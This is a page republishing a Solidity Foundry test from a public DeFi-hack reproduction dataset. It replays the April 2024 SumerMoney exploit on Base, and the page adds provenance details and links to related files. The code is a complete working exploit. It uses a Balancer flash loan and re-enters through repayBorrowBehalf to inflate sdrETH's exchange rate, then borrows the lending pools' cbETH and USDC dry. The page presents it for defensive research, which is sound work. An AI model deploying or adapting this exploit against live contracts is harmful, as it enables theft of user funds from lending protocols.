Public reproduction file
src/test/2024-04/SumerMoney_exp.sol
Public reproduction file for dataset entry SumerMoney.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : 350K8// Attacker : /address/https://basescan.org/address/0xbb344544ad328b5492397e967fe81737855e7e779// Attack Contract : /address/https://basescan.org/address/0x13d27a2d66ea33a4bc581d5fefb0b2a8defe9fe710// Vulnerable Contract : /address/https://basescan.org/address/0x23811c17bac40500decd5fb92d4feb972ae1e60711// Attack Tx : /tx/https://basescan.org/tx/0x619c44af9fedb8f5feea2dcae1da94b6d7e5e0e7f4f4a99352b6c4f5e43a466113// @Info14// Vulnerable Contract Code : /address/https://basescan.org/address/0x23811c17bac40500decd5fb92d4feb972ae1e607#code16// @Analysis17// Post-mortem :19// Hacking God :21interface IClaimer {22 function claim(23 uint256[] calldata tokenIds24 ) external;25}27contract SumerMoney is Test {28 uint256 blocknumToForkFrom = 13_076_768;30 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);31 IWETH WETH = IWETH(payable(address(0x4200000000000000000000000000000000000006)));32 IERC20 USDC = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);33 IERC20 cbETH = IERC20(0x2Ae3F1Ec7F1F5012CFEab0185bfc7aa3cf0DEc22);34 crETH sdrETH = crETH(payable(address(0x7b5969bB51fa3B002579D7ee41A454AC691716DC)));35 ICErc20Delegate sdrUSDC = ICErc20Delegate(0x142017b52c99d3dFe55E49d79Df0bAF7F4478c0c);36 ICErc20Delegate sdrcbETH = ICErc20Delegate(0x6345aF6dA3EBd9DF468e37B473128Fd3079C4a4b);37 IClaimer claimer = IClaimer(0x549D0CdC753601fbE29f9DE186868429a8558E07);38 Helper helper;40 function setUp() public {41 vm.label(address(Balancer), "Balancer");42 vm.label(address(WETH), "WETH");43 vm.label(address(USDC), "USDC");44 vm.label(address(cbETH), "cbETH");45 vm.label(address(sdrETH), "sdrETH");46 vm.label(address(sdrUSDC), "sdrUSDC");47 vm.label(address(sdrcbETH), "sdrcbETH");48 vm.label(address(claimer), "claimer");49 vm.createSelectFork("base", blocknumToForkFrom);50 }52 function testExploit() public {53 deal(address(this), 1);54 address[] memory tokens = new address[](2);55 tokens[0] = address(WETH);56 tokens[1] = address(USDC);57 uint256[] memory amounts = new uint256[](2);58 amounts[0] = 150 ether;59 amounts[1] = 645_000 * 1e6;60 bytes memory userData = "";61 Balancer.flashLoan(address(this), tokens, amounts, userData);63 emit log_named_decimal_uint("Attacker USDC Balance After exploit", USDC.balanceOf(address(this)), 6);64 emit log_named_decimal_uint("Attacker cbETH Balance After exploit", cbETH.balanceOf(address(this)), 18);65 }67 function receiveFlashLoan(68 address[] memory tokens,69 uint256[] memory amounts,70 uint256[] memory feeAmounts,71 bytes memory userData72 ) external {73 WETH.withdraw(amounts[0]);75 // sdrETH.exchangeRate76 emit log_named_decimal_uint("Before re-enter, sdrETH exchangeRate", sdrETH.exchangeRateCurrent(), 18);78 sdrETH.mint{value: amounts[0]}();80 helper = new Helper{value: 1}();81 USDC.transfer(address(helper), amounts[1]);82 helper.borrow(amounts[1]);84 WETH.deposit{value: amounts[0]}();85 WETH.transfer(address(Balancer), amounts[0]);86 USDC.transfer(address(Balancer), amounts[1]);87 }89 function attack() external {90 // exchangeRate == getCashPrior() + totalBorrows - totalReserves / totalSupply91 // In function repayBorrowBehalf(), getCashPrior() increase 150 ether but totalBorrows not decreased due to re-enter92 emit log_named_decimal_uint("In re-enter, sdrETH exchangeRate", sdrETH.exchangeRateCurrent(), 18);94 sdrcbETH.borrow(cbETH.balanceOf(address(sdrcbETH)));95 sdrUSDC.borrow(USDC.balanceOf(address(sdrUSDC)) - 645_000 * 1e6);96 sdrETH.redeemUnderlying(150 ether);97 uint256[] memory tokenIds = new uint256[](2);98 tokenIds[0] = 309;99 tokenIds[1] = 310;100 claimer.claim(tokenIds);101 }103 receive() external payable {}104}106contract Helper {107 address owner;108 IWETH WETH = IWETH(payable(address(0x4200000000000000000000000000000000000006)));109 IERC20 USDC = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);110 IERC20 cbETH = IERC20(0x2Ae3F1Ec7F1F5012CFEab0185bfc7aa3cf0DEc22);111 crETH sdrETH = crETH(payable(address(0x7b5969bB51fa3B002579D7ee41A454AC691716DC)));112 ICErc20Delegate sdrUSDC = ICErc20Delegate(0x142017b52c99d3dFe55E49d79Df0bAF7F4478c0c);113 ICErc20Delegate sdrcbETH = ICErc20Delegate(0x6345aF6dA3EBd9DF468e37B473128Fd3079C4a4b);114 IClaimer claimer = IClaimer(0x549D0CdC753601fbE29f9DE186868429a8558E07);116 constructor() payable {117 owner = msg.sender;118 }120 function borrow(121 uint256 amount122 ) external {123 USDC.approve(address(sdrUSDC), amount);124 sdrUSDC.mint(amount);126 uint256 borrowAmount = address(sdrETH).balance;127 sdrETH.borrow(borrowAmount);129 sdrETH.repayBorrowBehalf{value: borrowAmount + 1}(address(this)); // reentrancy131 sdrUSDC.redeem(sdrUSDC.balanceOf(address(this)));132 uint256[] memory tokenIds = new uint256[](1);133 tokenIds[0] = 311;134 claimer.claim(tokenIds);135 USDC.transfer(owner, USDC.balanceOf(address(this)));136 }138 receive() external payable {139 if (msg.value == 1) {140 owner.call(abi.encodeWithSignature("attack()"));141 }142 }143}Analysis
Dataset entry
Public Foundry test for “SumerMoney” (2024-04-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-04/ATM_exp.solSame month in the dataset · 87 lines
- src/test/2024-04/BigBangSwap_exp.solSame month in the dataset · 118 lines
- src/test/2024-04/BNBX_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
- src/test/2024-04/FIL314_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/GFA_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
- src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/HedgeyFinance_exp.solSame month in the dataset · 149 lines
- src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
- src/test/2024-04/MARS_exp.solSame month in the dataset · 101 lines
- src/test/2024-04/NGFS_exp.solSame month in the dataset · 91 lines
- src/test/2024-04/OpenLeverage2_exp.solSame month in the dataset · 239 lines
- src/test/2024-04/PikeFinance_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
- src/test/2024-04/SATX_exp.solSame month in the dataset · 82 lines
- src/test/2024-04/SQUID_exp.solSame month in the dataset · 86 lines
- src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame month in the dataset · 96 lines
- src/test/2024-04/UPS_exp.solSame month in the dataset · 75 lines
- src/test/2024-04/WSM_exp.solSame month in the dataset · 84 lines
- src/test/2024-04/XBridge_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/YIEDL_exp.solSame month in the dataset · 97 lines
- src/test/2024-04/Yield_exp.solSame month in the dataset · 94 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xbb344544ad328b5492397e967fe81737855e7e77
- Attack Contract
0x13d27a2d66ea33a4bc581d5fefb0b2a8defe9fe7
- Vulnerable Contract
0x23811c17bac40500decd5fb92d4feb972ae1e607
- Attack Tx
0x619c44af9fedb8f5feea2dcae1da94b6d7e5e0e7f4f4a99352b6c4f5e43a4661
- Explorer: https://basescan.org/address/0xbb344544ad328b5492397e967fe81737855e7e77
- Explorer: https://basescan.org/address/0x13d27a2d66ea33a4bc581d5fefb0b2a8defe9fe7
- Explorer: https://basescan.org/address/0x23811c17bac40500decd5fb92d4feb972ae1e607
- Explorer: https://basescan.org/address/0x23811c17bac40500decd5fb92d4feb972ae1e607#code
File record
- Name
- SumerMoney
- Path
- src/test/2024-04/SumerMoney_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 5575c71f792cfae34d245e4b62fb187fa7c8b94c
- Language
- Solidity
- Size
- 144 lines
- Date
- 2024-04-12
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-04/SumerMoney_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5575c71f792cfae34d245e4b62fb187fa7c8b94c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.